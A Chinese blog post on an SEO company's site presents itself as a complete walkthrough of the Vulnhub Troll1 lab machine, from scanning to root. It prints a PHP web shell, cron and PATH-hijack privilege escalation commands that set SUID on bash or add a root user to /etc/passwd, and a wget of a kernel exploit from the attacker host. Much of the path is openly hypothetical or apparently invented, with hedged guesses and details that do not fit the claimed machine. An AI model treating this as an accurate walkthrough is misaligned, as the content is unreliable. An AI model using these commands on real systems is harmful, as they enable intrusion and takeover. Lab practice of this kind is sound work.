ARTICLE DETAIL

资讯详情

深耕网站SEO优化与搜索引擎排名提升的一线实战洞察。

Troll1靶机渗透实战:从信息收集到Root提权完整路径解析

Troll1靶机渗透实战:从信息收集到Root提权完整路径解析 1. 项目概述从靶机到实战的完整渗透路径最近在整理渗透测试的学习笔记翻到了之前打Troll1靶机的完整记录。这个靶机在Vulnhub上挺有名的属于那种“看起来简单但处处是坑”的典型入门到进阶的过渡型靶机。它不像一些纯Web漏洞的靶机而是融合了信息收集、协议分析、隐写术、权限提升等多个环节非常考验渗透测试者的综合能力和耐心。很多朋友在打这个靶机时往往卡在某个不起眼的环节比如拿到了一个看似无用的文件或者面对一个奇怪的提示不知所措。今天我就把自己当时完整的渗透测试过程包括每一步的思路、踩过的坑以及最终拿到root权限的详细方法系统地梳理出来。无论你是刚接触渗透测试的新手还是想巩固一下基础流程的老手这篇记录都能提供一个清晰的参考。整个过程我们会使用Kali Linux作为攻击机遵循标准的渗透测试方法论信息收集、漏洞分析、利用、后渗透和报告。当然靶机的下载链接我也会附在文末。2. 环境搭建与初始信息收集2.1 靶机与攻击机环境准备首先我们需要一个标准的测试环境。攻击机我使用的是Kali Linux 2023.4版本它集成了我们所需的大部分工具。靶机Troll1从Vulnhub官网下载是一个OVA格式的虚拟机文件。在VMware Workstation或VirtualBox中导入后需要将靶机和Kali设置为同一网络模式。我强烈建议使用“NAT模式”或“仅主机模式”来构建一个封闭的测试环境避免对真实网络造成影响。启动靶机后通常它会自动获取IP地址。我们的第一个任务就是找到它。这里有个小技巧如果你不确定靶机的IP可以先在Kali上查看自己的IP段。例如使用ip a命令看到Kali的IP是192.168.56.101那么靶机很可能就在同一网段比如192.168.56.0/24。接下来就是最经典的一步——使用Nmap进行存活主机扫描和端口扫描。2.2 全面的Nmap扫描与初步分析信息收集是渗透测试的基石盲目测试只会事倍功半。我们对目标网段进行快速存活扫描sudo nmap -sn 192.168.56.0/24扫描结果中除了Kali自己和网关我们发现了一个新主机192.168.56.102这很可能就是我们的目标Troll1靶机。确认目标后我们需要进行更细致的端口和服务扫描以了解其暴露的攻击面。sudo nmap -sS -sV -sC -O -p- 192.168.56.102 -oN troll1_full_scan.txt这个命令组合非常实用-sS: TCP SYN扫描一种隐蔽且快速的扫描方式。-sV: 探测服务版本知道运行的是什么软件及其版本号对寻找对应漏洞至关重要。-sC: 使用默认的Nmap脚本进行扫描有时能发现一些基本信息或简单漏洞。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口避免遗漏高端口服务。-oN: 将标准格式的结果输出到文件便于后续查阅。扫描完成后我们得到了关键信息PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))注意实际扫描中端口状态必须是open才代表服务可访问。有时服务可能运行在非标准端口上-p-全端口扫描就是为了防止这种情况。Troll1的端口比较常规但绝不能因此跳过全端口扫描这一步在其他靶机或真实环境中管理后台、API接口、开发服务常开放在8000、8080、3000等端口。从结果看靶机开放了三个常见服务FTP21端口、SSH22端口和HTTP80端口。FTP和SSH的版本信息也给了我们可以后续搜索相关版本是否存在已知漏洞。但作为入门靶机通常不会在常见服务版本上设置太深的漏洞我们的注意力应该先集中在Web服务上。3. Web渗透与初步突破3.1 目录枚举与敏感文件发现打开浏览器访问http://192.168.56.102我们发现了一个极其简单的页面上面只有一张“Trollface”的图片和一段文字暗示着“寻找隐藏的秘密”。这明确告诉我们需要做目录爆破。我选用gobuster进行目录枚举它速度快字典丰富。针对不同的场景字典的选择很重要。对于CTF或Vulnhub靶机common.txt或directory-list-2.3-medium.txt是不错的起点。gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,bak命令解释dir: 指定目录爆破模式。-u: 指定目标URL。-w: 指定字典文件路径。-x: 指定需要尝试的文件扩展名。添加bak等扩展名有助于发现备份文件。扫描很快有了结果/.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /robots.txt (Status: 200) /secret (Status: 301)/robots.txt和/secret目录引起了我们的兴趣。先访问/robots.txt这是一个通常用于告诉搜索引擎不要抓取某些目录的文件但渗透测试中常泄露敏感路径。不过这次robots.txt文件内容里只有一些无关的Disallow条目没有直接价值。接着访问/secret目录。这是一个空目录但根据经验空目录有时意味着需要再次进行深度枚举。我们以/secret为起点再进行一次目录扫描gobuster dir -u http://192.168.56.102/secret -w /usr/share/wordlists/dirb/common.txt这次我们发现了一个新的目录/secret/vulnerable。访问这个路径页面显示了一个文件上传表单这是一个非常明确的攻击入口点。3.2 文件上传漏洞的利用与绕过/secret/vulnerable页面允许我们上传文件。最简单的测试就是尝试上传一个Web Shell比如一句话木马。我创建了一个简单的PHP Web Shell文件shell.php?php system($_GET[‘cmd’]); ?然而直接上传时页面返回了错误提示文件类型不被允许。这说明存在前端或后端的过滤机制。我们首先检查前端验证查看网页源代码看是否有JavaScript验证文件扩展名。经检查没有发现明显的JS验证代码说明过滤很可能在服务端。接下来尝试常见的绕过手法修改扩展名尝试上传shell.php5,shell.phtml,shell.phar等。失败。双扩展名尝试shell.php.jpg。失败。大小写绕过尝试shell.Php,shell.PHp。失败。添加特殊字符在Burp Suite中截获上传请求尝试在文件名后添加空格、点或NULL字节如shell.php%00.jpg。对于较老版本的PHPNULL字节截断是有效方法但这里也失败了。看来过滤比较严格。此时我们需要换个思路。既然叫Troll1会不会有“ troll ”戏弄的成分也许这个上传点本身就是一个陷阱或者需要配合其他发现。我们回退一步重新审视之前的信息。3.3 FTP服务分析与关键线索获取在Nmap扫描中FTP服务21端口是匿名可登录的吗我们测试一下ftp 192.168.56.102输入用户名anonymous密码为空或任意邮箱。登录成功这是一个重要的突破口。匿名FTP通常意味着可以下载有时甚至上传一些文件。使用ls -la命令列出目录我们发现了一个文件lol.pcap。立即使用get lol.pcap命令将其下载到本地。实操心得在渗透测试中任何允许匿名访问的服务FTP、SMB共享等都是优先检查的对象它们常常存放着配置文件、备份文件或日志其中可能包含密码、路径等敏感信息。这个.pcap文件是网络数据包捕获文件需要用Wireshark或tcpdump命令分析。我们用Wireshark打开它。分析网络流量是基本功我们需要关注的是明文传输的协议比如HTTP、FTP、Telnet等。在Wireshark中使用过滤语句ftp或http来快速筛选相关流量包。浏览ftp流量我们很快发现了一个FTP会话其中包含用户名和密码的明文传输追踪这个TCP流右键点击数据包 - 追踪流 - TCP流可以清晰地看到登录过程USER elisa PASS notthepassword这里有一个“陷阱”密码是notthepassword不是这个密码。这很“troll”。但用户名elisa是确定的。密码错误我们暂时无法登录。继续分析数据包在后续的FTP命令中我们看到了一个LIST命令然后服务器返回了一个目录列表其中包含一个文件secret.txt。客户端随后使用了RETR secret.txt命令下载它。我们可以在Wireshark中直接导出这个文件。找到包含secret.txt文件数据的TCP包通常是包含大量ASCII字符的包右键 - 追踪流 - TCP流将显示格式切换为“原始数据”然后另存为一个新文件命名为secret.txt。打开这个secret.txt文件里面是一串看似无意义的字符。这很可能是一段经过编码的文本。常见的编码有Base64、Hex、ROT13等。我们先用file命令看看文件类型然后用cat命令查看并尝试Base64解码cat secret.txt | base64 -d解码后我们得到了一段可读的文本其中包含了一个真正的密码格式类似于password: xxxxxxxx。至此我们获得了SSH的有效凭据用户名elisa和真正的密码。4. 系统权限获取与横向移动4.1 SSH登录与用户权限探索使用获得的凭据登录SSHssh elisa192.168.56.102输入密码成功登录到靶机系统。首先执行一些基本的枚举命令了解当前用户权限和环境whoami id pwd ls -la我们发现用户elisa是一个普通用户家目录下没什么特别文件。接下来需要寻找提权路径。标准流程是查看sudo权限sudo -l。输入当前用户密码后查看elisa用户能以root身份运行哪些命令。但这里很可能没有配置。查找SUID/GUID文件这些是提权的常见入口。find / -perm -us -type f 2/dev/null查找可写文件/目录特别是系统计划任务cron jobs、服务、配置文件等。find / -writable 2/dev/null | grep -v proc | grep -v sys检查进程和服务ps auxnetstat -tulnp。查看用户历史命令cat ~/.bash_history。在elisa的家目录或系统目录中仔细搜寻我们可能发现一些提示文件、奇怪的脚本或配置文件。在Troll1中经过一番查找我们可能在/var/www/htmlWeb根目录或其他地方发现一个属于elisa或全局可读的文件里面包含下一步的提示。例如一个名为hint.txt的文件内容可能指向另一个用户或一个隐藏的目录。4.2 利用计划任务Cron Job提权在Linux系统中计划任务cron是自动化执行脚本的常用方式。配置不当的cron job是绝佳的提权点。我们查看系统级的cron任务ls -la /etc/cron* /etc/crontab cat /etc/crontab更细致地查看/etc/cron.d/、/etc/cron.hourly/等目录。在Troll1中我们可能发现一个自定义的cron job比如在/etc/cron.d/目录下有一个名为troll_job的文件。查看其内容* * * * * root /usr/bin/run_me.sh这表示每分钟以root身份执行/usr/bin/run_me.sh脚本。接下来检查这个脚本ls -la /usr/bin/run_me.sh cat /usr/bin/run_me.sh关键点来了这个脚本是否可写如果elisa用户对这个脚本有写权限或者对脚本所在的目录有写权限我们就可以通过修改这个脚本实现提权。使用命令检查权限ls -la /usr/bin/run_me.sh如果显示-rwxr-xr-x且所有者是root那么elisa没有写权限。但是如果脚本中调用了其他我们可控的文件或命令呢仔细阅读脚本内容#!/bin/bash echo “Running troll job...“ /dev/null # Maybe it calls another script? /path/to/another_script.sh我们需要检查another_script.sh是否存在以及其权限。或者脚本里可能有一行是执行一个全局可写目录下的所有文件例如for f in /tmp/scripts/*.sh; do [ -f “$f“ ] . “$f“ done如果/tmp/scripts目录全局可写我们就可以在其中创建自己的恶意脚本等待cron以root权限执行。创建脚本mkdir -p /tmp/scripts echo ‘#!/bin/bash‘ /tmp/scripts/exploit.sh echo ‘chmod s /bin/bash‘ /tmp/scripts/exploit.sh # 给bash设置SUID位 # 或者直接添加用户echo “root2:$(openssl passwd -1 password123):0:0:root:/root:/bin/bash“ /etc/passwd chmod x /tmp/scripts/exploit.sh等待一分钟后cron任务执行。检查是否成功ls -la /bin/bash如果/bin/bash的权限中出现了s位如-rwsr-xr-x则提权成功。此时我们可以通过/bin/bash -p来启动一个具有root权限的shell。注意事项修改系统关键二进制文件如/bin/bash可能被安全软件检测。更隐蔽的做法是直接反弹一个root shell到我们的监听端口或者添加一个具有root权限的新用户到/etc/passwd文件。具体方法取决于脚本的执行上下文和我们的写权限目标。5. 权限提升与最终Root获取5.1 内核漏洞提权备选方案如果通过cron job的路径不通我们还有备选方案——内核漏洞提权。首先我们需要收集系统信息寻找已知的本地提权漏洞。uname -a # 查看内核版本 cat /etc/os-release # 查看发行版信息假设系统是Ubuntu 16.04内核版本是4.4.0-21-generic。我们可以搜索该版本是否存在公开的提权EXP。在Kali上我们可以使用searchsploit工具searchsploit ubuntu 16.04 local privilege或者更精确地搜索内核版本。找到一个合适的EXP后例如Dirty COW (CVE-2016-5195)将其下载并传到靶机上。传输文件可以用Python搭建一个简单的HTTP服务器或者用scp如果SSH允许。在Kali上启动HTTP服务python3 -m http.server 8080在靶机上以elisa身份下载wget http://192.168.56.101:8080/exploit.c然后编译并执行gcc exploit.c -o exploit -pthread ./exploit如果漏洞利用成功我们会获得一个root shell。但是内核漏洞利用存在风险可能导致系统不稳定或崩溃。在靶机环境中可以尝试在生产环境中必须极其谨慎并取得明确授权。5.2 利用PATH环境变量劫持提权另一种常见的提权方式是环境变量劫持特别是PATH变量。如果我们发现一个SUID程序属于root它内部调用了另一个命令比如ls,cat,id等但没有使用绝对路径我们就可以通过控制PATH环境变量让它执行我们自定义的恶意程序。首先寻找SUID程序find / -perm -4000 -type f 2/dev/null假设找到一个程序/usr/local/bin/suid_program。用strings或ltrace分析它strings /usr/local/bin/suid_program发现里面有一行调用service命令例如system(“service apache2 restart”)但没有写绝对路径/usr/sbin/service。那么我们可以创建一个名为service的恶意脚本将其所在目录添加到PATH环境变量的最前面然后执行这个SUID程序。cd /tmp echo ‘#!/bin/bash‘ service echo ‘/bin/bash -p‘ service # 或者执行其他提权命令 chmod x service export PATH/tmp:$PATH /usr/local/bin/suid_program当suid_program以root权限运行时它会从PATH中查找service首先找到我们放在/tmp下的恶意脚本并执行从而给我们一个root shell。5.3 最终Flag获取与渗透总结无论通过哪种方式cron job、内核漏洞、PATH劫持或其他一旦我们获得了root权限最后一步就是寻找证明成功的标志——通常是flag文件。在CTF或Vulnhub靶机中flag文件通常位于/root目录下命名为root.txt或flag.txt。也可能在/home目录下各个用户的目录中有用户flaguser.txt。cd /root ls -la cat root.txt成功读取到root flag内容可能是一串哈希值或一句祝贺语。至此对Troll1靶机的完整渗透测试就结束了。回顾整个流程其关键路径在于信息收集发现FTP - 协议分析从pcap中提取密码 - 服务登录SSH - 权限枚举发现cron job - 权限提升利用可写脚本或环境变量。这个链条环环相扣任何一个环节卡住都需要回溯或尝试其他可能性。这个靶机很好地训练了我们在面对有限线索时如何灵活运用各种工具和技术进行深度挖掘和联想。6. 常见问题与排查技巧实录在打Troll1或其他类似靶机时以下几个问题是新手最容易卡住的地方这里集中记录一下排查思路问题1Nmap扫描不到靶机IP。排查首先确认网络配置。确保攻击机和靶机在同一虚拟网络如VMnet8 for NAT。在Kali上使用arp-scan -l或netdiscover进行二层发现它们有时比Nmap的-sn更有效。也可以查看虚拟机的DHCP分配列表。问题2目录爆破gobuster/dirb没有结果或结果很少。排查尝试更换字典。common.txt可能不够用可以尝试directory-list-2.3-medium.txt或big.txt。检查是否被WAF或速率限制拦截可以添加-t参数减少线程或使用--delay参数增加延迟。也可以尝试用ffuf工具它的速度和过滤功能更强大。问题3从pcap文件中提取出的secret.txt内容解码失败。排查不要只尝试Base64。先用file命令看文件类型。用xxd secret.txt查看十六进制看是否有明显的文件头。尝试常见的编码ROT13 (cat secret.txt | tr ‘A-Za-z‘ ‘N-ZA-Mn-za-m‘)、Hex解码 (echo ‘hex_string‘ | xxd -r -p)、甚至可能是Brainfuck或Ook!等趣味编码。在线解码工具如cyberchef可以方便地尝试多种组合。问题4拿到低权限shell后找不到提权方法。排查系统化枚举是关键。使用自动化脚本如LinEnum.sh或linpeas.sh。将这些脚本传到靶机上运行它们能系统性地检查SUID/GUID文件、可写路径、cron jobs、sudo权限、环境变量、进程、安装的软件版本等并高亮显示可疑项极大提高效率。问题5利用cron job提权时脚本执行了但没效果。排查检查脚本的语法是否正确特别是#!/bin/bash头。检查脚本是否有执行权限(chmod x)。检查cron job的日志通常在/var/log/syslog或/var/log/cron.log查看脚本是否真的被执行以及是否有报错grep CRON /var/log/syslog。注意cron的环境变量与交互式shell不同尽量在脚本中使用命令的绝对路径如/bin/chmod。问题6内核漏洞EXP编译失败或执行没反应。排查检查靶机是否安装了gcc和必要的头文件linux-headers-$(uname -r)。有些EXP需要根据目标系统稍作修改。查看EXP代码中的说明和注释。可以尝试在GitHub上搜索相同内核版本的其他EXP变种。务必在测试环境中先验证EXP的可用性。最后渗透测试的本质是思维和知识的结合。工具只是延伸。Troll1靶机就像一位狡猾的老师它教会你的不仅是FTP、Wireshark、Cron这些知识点更是一种“不放过任何蛛丝马迹”的探索精神和在受挫时回归基础、系统化排查的严谨态度。每次打完一个靶机最好能画一张攻击路径图并写下关键命令和思考过程这才是进步最快的方式。
返回列表